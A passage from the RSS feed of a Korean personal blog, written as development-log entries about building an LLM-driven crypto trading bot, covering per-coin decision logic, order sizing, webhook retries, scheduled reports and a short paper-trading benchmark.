&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;가장 중요한 구조 변경은 판단 로직 자체였다. 이전에는 실제 운용 대상이 여러 종목이어도 판단 근거는 사실상&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;ETH/USDT&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;하나를 대표 심볼로 삼아 만들어졌다. 그래서 리포트에는 늘 ETH 기준 reasoning이 찍히는데, 실제 주문은 BTC나 TRX로 나가는 식의 어색한 구조가 있었다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제를 해결하기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;ETH/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;TRX/USDT&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;각각에 대해 개별 모델 출력과 개별 LLM 판단을 생성하도록 엔진을 바꿨다. 이제는 심볼별로&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BUY/HOLD/SELL&lt;/span&gt;&lt;/b&gt;, &lt;b&gt;confidence, reasoning&lt;/b&gt;이 따로 기록되고, 실제 멀티자산 실행기도 그 판단 결과를 그대로 받아 주문을 집행한다. 즉 &amp;ldquo;&lt;b&gt;ETH를 보고 판단했는데 TRX를 산다&lt;/b&gt;&amp;rdquo; 같은&lt;b&gt; 구조적 불일치를 해소&lt;/b&gt;하는 작업이었다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;실제 운용 종목 정리&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이전까지는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/ETH/SOL/XRP/TRX&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;다섯 종목을 같이 운용하고 있었지만, 실제로는 &lt;b&gt;너무 넓게 퍼진 느낌&lt;/b&gt;이 강했다. &lt;b&gt;리포트 해석도 복잡&lt;/b&gt;해지고, 전략 엣지가 뚜렷하지 않은 상황에서 종목 수가 많아질수록 오히려 평범한 시장 노출에 가까워질 수 있었다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 실거래 유니버스를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;ETH/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;TRX/USDT&lt;/span&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;세 종목으로 축소&lt;/b&gt;했다. 관련 자산 컨텍스트와 벤치마크 기준도 여기에 맞춰 정리했다. 이렇게 하면서 전략이 어떤 종목에 집중하고 있는지 훨씬 더 명확하게 볼 수 있게 됐다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;►추가로 밴치마크도 BTC/ETH/TRX세 종목을 동일한 개수로 구매했다는 가정으로 변경하였다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;주문 사이징 조정&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;한 번 매수할 때 &lt;b&gt;너무 소액&lt;/b&gt;으로만 들어가는 느낌도 문제였다. 그래서 최소 주문 금액을 현금의 25%로 올리고, 총 포지션 상한은 계좌의 60%로 두는 식으로 조정했다. 반대로 예전의 고정 주문 상한 금액은 사실상 비활성화했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉 이제는 &amp;ldquo;&lt;b&gt;현금의 일정 비율 이상은 들어가되, 전체 계좌 대비 과도한 익스포저는 막는다&lt;/b&gt;&amp;rdquo;는 방향으로 정리한 것이다. 여기에 진입 후보 threshold와 청산 threshold도 조금씩 손보면서, 지나치게&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;HOLD&lt;/span&gt;만 반복하거나 반대로 너무 잦은 청산이 나오지 않도록 맞춰가고 있다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;웹훅 실패 원인 추적과 안정화&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;운영 중에 Discord 웹훅 전송이 실패하는 문제도 있었다. 처음에는 단순히&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;webhook 실패&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;경고만 보였는데, 실제 원인을 추적해보니&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;discord.com&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;DNS 해석 실패가 여러 번 발생하고 있었다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 모든 웹훅 전송 스크립트에 재시도 로직을 추가하고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;curl&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;stderr를 로그에 남기도록 바꿨다. 또 예전 실패 흔적이 계속 현재 경고처럼 보이는 문제도 줄이기 위해, 상태 리포트의 경고 판정은 최신 실행 구간만 보도록 조정했다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;밴치마크 결과&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;report_status_benchmark_comparison.png&quot; data-origin-width=&quot;1594&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJd7bv/dJMcajat541/aQB0S0To6oHXOk0eimcXK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJd7bv/dJMcajat541/aQB0S0To6oHXOk0eimcXK1/img.png&quot; data-alt=&quot;현 밴치마크 그래프는 약 3일정도 돌려놓은 상태다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJd7bv/dJMcajat541/aQB0S0To6oHXOk0eimcXK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJd7bv%2FdJMcajat541%2FaQB0S0To6oHXOk0eimcXK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;572&quot; height=&quot;393&quot; data-filename=&quot;report_status_benchmark_comparison.png&quot; data-origin-width=&quot;1594&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;현 밴치마크 그래프는 약 3일정도 돌려놓은 상태다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;최신 그래프 기준으로 보면, 현재 전략은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/ETH/TRX&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;3종목&lt;/b&gt; &lt;b&gt;균등보유 벤치마크&lt;/b&gt;보다 확실히 &lt;b&gt;우위&lt;/b&gt;에 있다. 전략 누적수익률은 약&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;+2.49%&lt;/span&gt;, 같은 기간 3종목 균등보유 벤치마크는 약&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;-0.70%&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;수준으로, 최종 &lt;b&gt;초과수익&lt;/b&gt;은 약&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;+3.19%p&lt;/span&gt;&lt;/b&gt;에 이른다. 즉 단순히 시장을 따라간 것이 아니라, 같은 종목을 아무 판단 없이 보유했을 때보다 눈에 띄게 &lt;b&gt;더 나은 성과&lt;/b&gt;를 냈다고 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;특히 이번 결과에서 중요한 점은 전략이 단순 방어만 한 것이 아니라는 점이다. 이전까지는 벤치마크가 크게 빠지는 동안 현금 비중을 높게 유지하며 손실을 피한 효과가 강했다면, 이번 구간에서는 &lt;b&gt;전략 수익률 자체가 플러스 구간&lt;/b&gt;으로 확실히 올라섰다. 반면 벤치마크는 마지막 반등이 나오긴 했지만 여전히 마이너스권에 머물고 있다. 즉 이번에는 &amp;ldquo;&lt;b&gt;덜 잃어서 상대적으로 좋아 보이는&lt;/b&gt;&amp;rdquo; 수준을 넘어서, &lt;b&gt;실제 절대 수익&lt;/b&gt;에서도 &lt;b&gt;우위&lt;/b&gt;를 만들었다는 점이 더 긍정적이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;초과수익 그래프를 보면 중간 이후부터 거의 대부분 구간에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;+1%p&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이상 우위를 유지했고, 최근에는&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;+3%p&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;수준&lt;/b&gt;까지 벌어졌다. 이는 전략이 단순히 한두 번 우연히 맞은 것이 아니라, 하락 구간 방어와 이후 반등 대응 모두에서 일정 수준 이상 유효하게 작동하고 있다는 신호로 볼 수 있다. 물론 더 긴 기간 검증은 필요하지만, 현재까지의 비교만 놓고 보면 이 전략은 3종목 균등보유 대비 분명히 의미 있는 초과성과를 만들어내고 있으며, 최근 구간에서는 &lt;b&gt;방어력을 넘어 실질적인 알파&lt;/b&gt;까지 보여주고 있다고 해석할 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 아직 실질적인 투자로 이어지기엔 밴치마크 기간이 부족하다는 생각이 들어 &lt;b&gt;1주일정도&lt;/b&gt; 더 지켜볼 예정이다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;이번 구간의 의미&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;전체적으로 이번 작업은 단순히 &amp;ldquo;모델을 Claude로 바꿨다&amp;rdquo;에서 끝나지 않았다. Claude API 연동, 토큰 사용량 최적화, 종목별 개별 판단 구조, 3종목 운용 정리, 벤치마크 기준 변경, 주문 사이징 조정, 리포트/차트/웹훅 안정화까지 한 흐름으로 이어졌다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아직 완전히 끝난 시스템이라고 보긴 어렵지만, 적어도 이제는 &lt;b&gt;어떤 종목을 왜 사고 파는지&lt;/b&gt;,&lt;b&gt; 벤치마크 대비 현재 성과가 어떤지&lt;/b&gt;, 그리고 운&lt;b&gt;영 중 실패가 왜 생기는지&lt;/b&gt;를 이전보다 훨씬 더 명확하게 볼 수 있는 상태가 됐다. 이전보다 실험용 봇의 느낌은 줄고, &lt;b&gt;실제 운영 가능한 구조&lt;/b&gt;에 더 가까워졌다는 점에서 의미가 큰 구간이었다.&lt;/p&gt;</description>
      <category>프로젝트</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/31</guid>
      <comments>https://seowoo-j.tistory.com/31#entry31comment</comments>
      <pubDate>Tue, 24 Mar 2026 00:49:30 +0900</pubDate>
    </item>
    <item>
      <title>AI Trading Bot 개발기 &amp;mdash; Day 3</title>
      <link>https://seowoo-j.tistory.com/30</link>
      <description>&lt;div style=&quot;color: #000000; text-align: start;&quot;&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #0d0d0d; font-size: 1.62em; letter-spacing: -1px; background-color: #ffffff;&quot;&gt;오늘 작업 개요&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot;&gt;
&lt;div data-thread-find-composer=&quot;true&quot;&gt;
&lt;div style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot;&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;/Users/jangseou/ai_trading_agent&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기준으로 실제 운영 구조를 더 안정적이고 읽기 쉬운 형태로 정리하는 작업을 진행했다. 방향은 단순한 매매 봇이 아니라, 뉴스, ML, LLM, 자동 리포트, 운영 로그가 붙은 저빈도 AI 펀드형 시스템에 가깝게 만드는 것이었다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;자동 실행 구조 정리&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현재 자동 실행은 macOS&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;launchd&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기반으로 운영되고 있다. 매시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;:55&lt;/span&gt;에는 뉴스 갱신,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;:00&lt;/span&gt;에는 트레이딩 실행,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;:02&lt;/span&gt;에는 상태 리포트 전송,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;:03&lt;/span&gt;에는 애널리스트 전망 리포트 전송, 그리고 매일&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;09:10&lt;/span&gt;에는 일간 요약 리포트가 나가도록 구조를 정리했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예전처럼 단순히 &amp;ldquo;실행 후 로그를 던지는 구조&amp;rdquo;에서 끝나는 것이 아니라, 이제는 현재 상태 확인용 리포트와 향후 전망 설명용 리포트를 분리해서 운영 흐름이 훨씬 명확해졌다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;멀티코인 운용 구조 확장&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.23.03.png&quot; data-origin-width=&quot;1288&quot; data-origin-height=&quot;1450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J5zxC/dJMcabjeRno/e0NI57oPbEYa4VEoRfnoGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J5zxC/dJMcabjeRno/e0NI57oPbEYa4VEoRfnoGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J5zxC/dJMcabjeRno/e0NI57oPbEYa4VEoRfnoGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ5zxC%2FdJMcabjeRno%2Fe0NI57oPbEYa4VEoRfnoGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;450&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.23.03.png&quot; data-origin-width=&quot;1288&quot; data-origin-height=&quot;1450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존에는 사실상 단일 종목 중심 해석이 강했다면, 이제는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;ETH/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;SOL/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;XRP/USDT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;TRX/USDT&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;다섯 종목을 기준으로 멀티자산 바스켓 실행 구조를 갖추게 됐다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 과정에서 멀티자산 실행기로 전환할 때 기존 paper 계좌의 단일 포지션 상태가 사라진 것처럼 보이던 버그도 수정했다. 이 부분은 단순히 화면에 잘못 보이는 문제가 아니라, paper 상태 자체가 잘못 저장될 수 있는 문제였기 때문에 운영 안정성 측면에서 꽤 중요한 수정이었다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;리포트 가독성 개선&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존 리포트는 총 평가금액이나 현금 정도는 볼 수 있었지만, 실제로 어떤 종목을 얼마나 들고 있고, 각각이 얼마의 손익을 내고 있는지는 바로 읽기 어려웠다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 이번에는 리포트에 종목별 포지션 정보를 훨씬 더 직접적으로 넣었다. 이제는 보유 종목 수, 종목별 수량, 종목별 손익, 종목별 손익률, 전체 포지션 평가금액까지 바로 볼 수 있다. 멀티코인 운영에서는 계좌 전체 손익만으로는 원인을 알 수 없기 때문에, 이 변화는 생각보다 의미가 크다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;뉴스 파이프라인 품질 보완&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;뉴스도 무조건 많이 넣는다고 좋은 게 아니라, 실제 판단에 의미 있는 뉴스만 들어가는 게 중요하다고 보고 relevance filtering을 추가했다. 관련성 낮은 뉴스만 있으면 아예 뉴스 컨텍스트에 넣지 않도록 했고, 완전한 fetch 실패와 &amp;ldquo;쓸모없는 뉴스만 있어서 스킵한 경우&amp;rdquo;를 구분할 수 있게 처리했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또한 OpenClaw는 자동 리포트 발송 주체가 아니라, 필요하면 뉴스 JSON을 만들어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;data/news_context.csv&lt;/span&gt;에 넣어주는 외부 컨텍스트 생산자로 활용할 수 있게 정리했다. 이 부분은 이후 OpenClaw 활용 고도화에도 연결될 수 있는 기반이 된다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;전략 성과 비교 기준 추가&lt;/h3&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/88pGE/dJMcadg1Ov0/dSx16gO98BzYus1rkh4tak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/88pGE/dJMcadg1Ov0/dSx16gO98BzYus1rkh4tak/img.png&quot; style=&quot;width: 37.390622%; margin-right: 10px;&quot; width=&quot;248&quot; height=&quot;332&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;992&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.23.53.png&quot; data-widthpercent=&quot;37.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/88pGE/dJMcadg1Ov0/dSx16gO98BzYus1rkh4tak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F88pGE%2FdJMcadg1Ov0%2FdSx16gO98BzYus1rkh4tak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;992&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kUXpT/dJMcadON0qw/CmS61UZWNFGQL8sYWMU0tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kUXpT/dJMcadON0qw/CmS61UZWNFGQL8sYWMU0tk/img.png&quot; style=&quot;width: 61.446588%;&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;890&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.24.15.png&quot; data-widthpercent=&quot;62.17&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kUXpT/dJMcadON0qw/CmS61UZWNFGQL8sYWMU0tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkUXpT%2FdJMcadON0qw%2FCmS61UZWNFGQL8sYWMU0tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1094&quot; height=&quot;890&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;오늘 추가한 기능 중 개인적으로 꽤 마음에 드는 부분은 벤치마크 비교 기능이다. paper 계좌를 초기화한 시점을 기준으로, 같은 시점에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC/ETH/SOL/XRP/TRX&lt;/span&gt;를 각각 20%씩 단순 매수해 들고 있었다고 가정한 뒤, 현재 전략 수익률과 비교하도록 만들었다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이제 상태 리포트와 일간 요약 리포트에서 단순 균등보유 대비 전략이 얼마나 초과수익을 내고 있는지 바로 확인할 수 있다. 결국 자동매매 시스템이 실제로 의미가 있으려면 &amp;ldquo;그냥 들고 있는 것보다 나은가?&amp;rdquo;라는 질문에 답할 수 있어야 하는데, 그 기준이 생긴 셈이다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;애널리스트 리포트 구조 전환&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.17.11.png&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;1498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6KylQ/dJMcadg1OAH/iV5WCrMktKDhDkxbyNwQek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6KylQ/dJMcadg1OAH/iV5WCrMktKDhDkxbyNwQek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6KylQ/dJMcadg1OAH/iV5WCrMktKDhDkxbyNwQek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6KylQ%2FdJMcadg1OAH%2FiV5WCrMktKDhDkxbyNwQek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;476&quot; height=&quot;459&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.17.11.png&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;1498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

